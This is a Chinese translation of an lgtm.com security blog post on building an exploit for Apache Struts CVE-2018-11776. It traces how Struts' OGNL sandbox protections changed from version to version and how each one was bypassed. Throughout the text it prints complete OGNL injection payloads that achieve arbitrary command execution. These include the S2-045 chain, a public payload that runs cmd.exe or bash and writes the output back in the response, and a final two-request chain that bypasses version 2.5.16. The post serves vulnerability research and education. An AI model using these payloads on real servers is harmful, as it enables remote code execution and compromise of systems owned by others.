翻译自:https://lgtm.com/blog/apache_struts_CVE-2018-11776-exploit
翻译:聂心明

这篇文章我将介绍如何去构建CVE-2018-11776的利用链。首先我将介绍各种缓解措施,这些措施是Struts 安全团队为了限制OGNL 的能力而设置的,并且我也会介绍绕过这些措施的技术。我将重点介绍SecurityMemberAccess 类的一般改进,这个类就像一个安全管理系统,它决定OGNL 能做什么,也会限制OGNL 的执行环境。我将忽略很多特殊组件的特殊的措施,例如ParametersInterceptor类中改进了白名单机制。

在Struts中利用OGNL 的简短历史

在介绍CVE-2018-11776之前,我先说明一些背景并且介绍一些概念以帮助理解OGNL利用过程。我将利用TextArea中的 double evaluation bug说明利用过程,因为TextArea 可以更方便的显示OGNL(可能这是一种特性)。首先我来介绍一些OGNL的基本概念。

OGNL 执行环境

在Struts的中,OGNL可以使用#符号访问全局对象。这个文档 主要介绍那些可以被访问的对象。那里会有一个对象列表,其中有两个对象对于构建exp非常关键。首先是 _memberAccess,这个对象在SecurityMemberAccess对象中被用来控制OGNL 行为,并且另一些是context,这些context map可用访问更多的其他的对象。这对于漏洞的利用非常有用。你可以通过 _memberAccess非常容易的修改SecurityMemberAccess 的安全设置。比如,许多容易的利用开始于:

#_memberAccess['allowStaticMethodAccess']=true

通过_memberAccess修改完设置后,就可以执行下面代码

@java.lang.Runtime@getRuntime().exec('xcalc')

弹出了计算器

SecurityMemberAccess

上面那一节已经解释过,Struts 通过_memberAccess去控制OGNL所能执行的东西。最初,使用一个Boolean 变量(allowPrivateAccess, allowProtectedAccess, allowPackageProtectedAccess and allowStaticMethodAccess)去控制OGNL所能访问的方法和Java类成员对象。默认情况下,所有的设置都是false。在最近的版本中,有三个黑名单(excludedClasses, excludedPackageNames 和 excludedPackageNamePatterns)被用来禁用一些特殊的类和包。

没有静态函数,但是允许使用构造函数(在2.3.20之前)

但是默认情况下,_memberAccess被配置用来阻止访问静态,私有和保护函数。可是,在2.3.14.1之前,它可以更容易通过 #_memberAccess绕过并且改变这些设置。许多exp就是用到了这一点,比如 :

(#_memberAccess['allowStaticMethodAccess']=true).(@java.lang.Runtime@getRuntime().exec('xcalc'))


在2.3.14.1和更新的版本,allowStaticMethodAccess已经没有用了并且已经没法再修改了。可是,依然可以通过_memberAccess使用类的构造函数并且访问公共函数,实际上没有必要改变_memberAccess中的任何设置来执行任意代码

(#p=new java.lang.ProcessBuilder('xcalc')).(#p.start())

这个方法一直到2.3.20这个版本为止

没有静态方法,没有构造函数,但是允许直接访问类 ( 2.3.20-2.3.29 )

在2.3.20,在一些类中引入了黑名单excludedClasses, excludedPackageNames 和 excludedPackageNamePatterns。另外一些重要的改变是阻止了所有构造函数的调用。这就不能用ProcessBuilder这个payload。从这一点来看,静态函数和构造函数都没有权限去调用了,这对于OGNL 有相当强的限制。可是,_memberAccess仍然可以访问而且还可以做更多的东西。还有静态对象 DefaultMemberAccess 可以访问。默认情况下,在SecurityMemberAccess类中的DefaultMemberAccess 也是很脆弱的版本,它可以访问静态函数和构造函数。所以,很简单,直接用DefaultMemberAccess替换 _memberAccess的值

(#[email protected]@DEFAULT_MEMBER_ACCESS).(@java.lang.Runtime@getRuntime().exec('xcalc'))

这种方法一直到2.3.29之前都可以用,并且这种技巧依然是最近exp中常常使用到的

有限的类访问和_memberAccess都被禁止了(2.3.30/2.5.2+)

最后, _memberAccess没有用了,所以上面说到的一些小技巧也没有用了。更重要的是,ognl类,MemberAccess和ognl.DefaultMemberAccess也被加入了黑名单,怎样去绕过他们呢?让我们看看S2-045的payload

(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('xcalc'))

注意到的第一件事是,这个exp没有试图访问_memberAccess。代替它的是,它试图获得 OgnlUtil的实例,并且清理了所有的黑名单。所有它是怎么工作的?这个exp首先从 context map中获得一个 Container ,这个map中包含下面的keys:

在OGNL执行环境中 com.opensymphony.xwork2.ActionContext.container这个keys给我一个 Container实例。

这个实例方法试图创建一个OgnlUtil实例,但是因为它是一个单例模式。它返回一个存在的全局对象实例。

看看在全局对象OgnlUtil中excludedClasses 是怎么被关联到 _memberAccess对象的,让我们看看_memberAccess怎样被初始化的。
当请求到来的时候,一个ActionContext对象被createActionContext方法创建。

最后,OgnlValueStack 的setOgnlUtil函数被调用,以用来初始化OgnlValueStack 的securityMemberAccess ,这样就获得OgnlUtil的全局实例

我们从下面的图看到,securityMemberAccess(在最后一行)和_memberAccess(第一行)是一样的。

这就意味着全局OgnlUtil 实例都共享相同的SET:excludedClasses, excludedPackageNames 和 excludedPackageNamePatterns作为_memberAccess,所以清除这些之后也会清除与_memberAccess相匹配的SET。
在那之后,OGNL 就可以自由的访问DEFAULT_MEMBER_ACCESS对象并且 OgnlContextsetMemberAccess 代替了 _memberAccess和DEFAULT_MEMBER_ACCESS,这样就可以执行任意代码了

绕过2.5.16

我将解释怎样绕过2.5.16中的限制和 CVE-2018-11776。让我们看看官方披露漏洞两天之后公开的一个exp。这是一个不同的版本,但他们大致是这样的:

${(#_memberAccess['allowStaticMethodAccess']=true).(#cmd='xcalc').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

看过上一节的读者应该能够发现至少两个原因,为什么这个exp不能工作在2.5.16,并且确定这个exp在哪个版本中不能用(小提示:2.5.x的一个版本),这个实际上是一个好消息,让人们有足够的时间升级自己的服务器并且也希望能防止大规模的攻击发生。

现在让我们构建一个实际可行的exp

我们已经了解了OGNL的缓解措施,自然是利用最新的那个漏洞,就像下面那样:

(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('xcalc'))

但是在2.5.16这个版本中却不能成功,原因是厂商添加了很多其他的限制。首先,在 2.5.13 中context被移除,还有 excludedClasses 也是一样。在2.5.10之后,黑名单变成了immutable

解释一下,在 2.5.13这个版之后,context 这个全局变量就不能再使用了,所以第一步是寻找context的替代方案。让我们看看有哪些是可用的( https://cwiki.apache.org/confluence/display/WW/OGNL )。我会按照字母表的顺一个个去尝试,让我们看看attr。

在struts的值中,valueStack 脱颖而出,OgnlValueStack 是它的类型。如果我想回到OGNL使用 context map,那么OgnlValueStack 这个类型似乎是一个很好的候选者。的确,有一些方法可用调用 getContext ,结果它确实按照我们的想法给了我们一个 context map,所以我们修改前面的exp:

(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('xcalc'))

但,这个exp还是不能运行,因为excludedClasses 和excludedPackageNames是不可改变的:

不幸的是,黑名单不是一成不变的,因为你可以通过 setters 改变。

(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames('')).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('xcalc'))

可是,这个exp还是不行,因为ognlUtil中excludedClasses这个set被清除了。

但是_memberAccess中没有被清除

这是因为当在ognlUtil中设置excludedClasses,它会分配excludedClasses 到一个空的集合而不是通过_memberAccess和ognlUtil去修改集合的引用。所以这个改变仅仅影响了ognlUtil,而没有影响_memberAccess。这样,我们现在重新发送我们的payload:

这是怎么回事?记住,_memberAccess 是一个短暂的对象,当每个请求到来的时候ActionContext 会创建这个对象。每次新的ActionContext 会被createActionContext方法创建, setOgnlUtil方法被调用,目的是用excludedClasses, excludedPackageNames去创建_memberAccess。黑名单来自全局的ognlUtil。所以,通过重新发送请求,新创建的_memberAccess将清空其黑名单中类和包,这样就允许我们执行我们的代码。整理这些payload,我最后得到两个payloads,第一个是清空excludedClasses 和 excludedPackageNames的黑名单。

(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))

第二个是解除_memberAccess并且执行任意代码

(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('xcalc'))

一个接一个的发送这些payload,可以让我通过CVE-2018-11776执行任意代码。

感谢 Kevin Backhouse,这里提供了一个完全可用的CVE-2018-11776的poc,最高可攻击2.5.16这个版本。并且从头构建了一个dockers镜像,目的是搞清楚exp起作用的版本到底是哪个。

源链接

Hacking more

...